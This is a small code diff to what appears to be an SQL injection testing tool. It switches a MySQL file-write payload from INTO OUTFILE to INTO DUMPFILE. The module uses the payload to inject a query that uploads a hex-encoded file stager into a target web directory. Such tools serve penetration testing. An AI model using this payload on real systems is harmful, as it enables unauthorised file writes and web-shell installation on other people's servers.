diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 33cf82dac..3cfc134f6 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -139,7 +139,7 @@ class Web: randInt = randomInt() query += "OR %d=%d " % (randInt, randInt) - query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery)) + query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", DUMPFILE=outFile, HEXSTRING=hexencode(uplQuery)) query = agent.prefixQuery(query) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) @@ -217,9 +217,9 @@ class Web: else: directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory - # Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique + # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE technique infoMsg = "trying to upload the file stager on '%s' " % directory - infoMsg += "via LIMIT INTO OUTFILE technique" + infoMsg += "via LIMIT INTO DUMPFILE technique" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) diff --git a/procs/mysql/write_file_limit.sql b/procs/mysql/write_file_limit.sql index 58fccab0a..fd403b8af 100644 --- a/procs/mysql/write_file_limit.sql +++ b/procs/mysql/write_file_limit.sql @@ -1 +1 @@ -LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- +LIMIT 0,1 INTO DUMPFILE '%DUMPFILE%' LINES TERMINATED BY 0x%HEXSTRING%--